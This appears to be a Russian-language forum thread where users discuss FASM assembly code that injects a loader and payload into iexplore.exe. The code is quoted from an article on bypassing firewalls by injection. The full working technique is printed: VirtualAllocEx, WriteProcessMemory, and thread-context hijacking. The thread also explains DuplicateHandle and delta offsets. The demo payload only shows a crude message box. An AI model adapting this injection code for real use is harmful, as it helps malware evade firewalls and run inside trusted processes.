В статье "Инжект как метод обхода фаерволлов, жив или мертв?" встретил такой код инжекта в чужой процесс: Код (Text): LoaderCode: push 0 push InjectSize push esi push InjectCode push edi call ebx LoaderSize = $-LoaderCode InjectCode: call $+5 pop esi sub esi, $-InjectCode-1 push 0 lea eax, [esi+caption-InjectCode] push eax lea eax, [esi+text-InjectCode] push eax push 0 call [esi+p_MessageBox-InjectCode] retn 4 p_MessageBox dd 0 text db 'Fuck you, world!', 0 caption db 'Code inject', 0 InjectSize = $-InjectCode ProcessName db 'iexplore.exe', 0 align 4 context CONTEXT 0 entry $ push ebp mov ebp, esp sub esp, 8 mov eax, [MessageBox] mov [p_MessageBox], eax call FindProcess test eax, eax jz @F invoke OpenProcess, PROCESS_ALL_ACCESS, 0, eax test eax, eax jz @F mov [ebp-4], eax invoke VirtualAllocEx, [ebp-4], 0, LoaderSize+InjectSize, MEM_COMMIT+MEM_RESERVE, PAGE_EXECUTE_READWRITE test eax, eax jz @F mov edi, eax invoke WriteProcessMemory, [ebp-4], edi, LoaderCode, LoaderSize, 0 lea eax, [ebp-8] invoke DuplicateHandle, -1, -1, [ebp-4], eax, 0, 0, DUPLICATE_SAME_ACCESS invoke CreateRemoteThread, [ebp-4], 0, 0, edi, 0, CREATE_SUSPENDED, 0 mov esi, eax mov [context.ContextFlags], CONTEXT_FULL invoke GetThreadContext, esi, context lea eax, [edi+LoaderSize] mov [context.regEsi], eax push dword [ebp-8] pop [context.regEdi] push [ReadProcessMemory] pop [context.regEbx] invoke SetThreadContext, esi, context invoke ResumeThread, esi invoke CloseHandle, esi invoke CloseHandle, [ebp-4] invoke Sleep, 100 @@: leave ret Вопрос: зачем здесь DuplicateHandle. Прошу сильно не пинать - сам догадываюсь, что вопрос идиотский.
colobos Смотри - мы копируем в целевой процес лоадер: LoaderCode: push 0 push InjectSize push esi push InjectCode push edi call ebx LoaderSize = $-LoaderCode Это вызов функции ReadProcessMemory(смотри как устанавливаются регистры с помощью SetThreadContext). Функция ReadProcessMemory описана так: BOOL ReadProcessMemory( HANDLE hProcess, // handle of the process whose memory is read LPCVOID lpBaseAddress, // address to start reading LPVOID lpBuffer, // address of buffer to place read data DWORD nSize, // number of bytes to read LPDWORD lpNumberOfBytesRead // address of number of bytes read ); Нас интересует параметр hProcess - хендл процеса из которого копируем. А где взять этот хендл? Вот он и создаётся фунуцией DuplicateHandle.
Спасибо, понял. А при написании инжект кода (без dll) можно пользоваться только метками? Возможно ли подставить в чужой процесс несколько процедур (по типу proc....endp), ссылающихся одна на другую?
Если ты будешь вставлять код типа call/jmp SomeFunc, то можно, т.к. эти операторы используют относительные адреса. А вот использовать mov eax,offset SomeFunc/call eax нельзя. Придется использовать дельта-смещение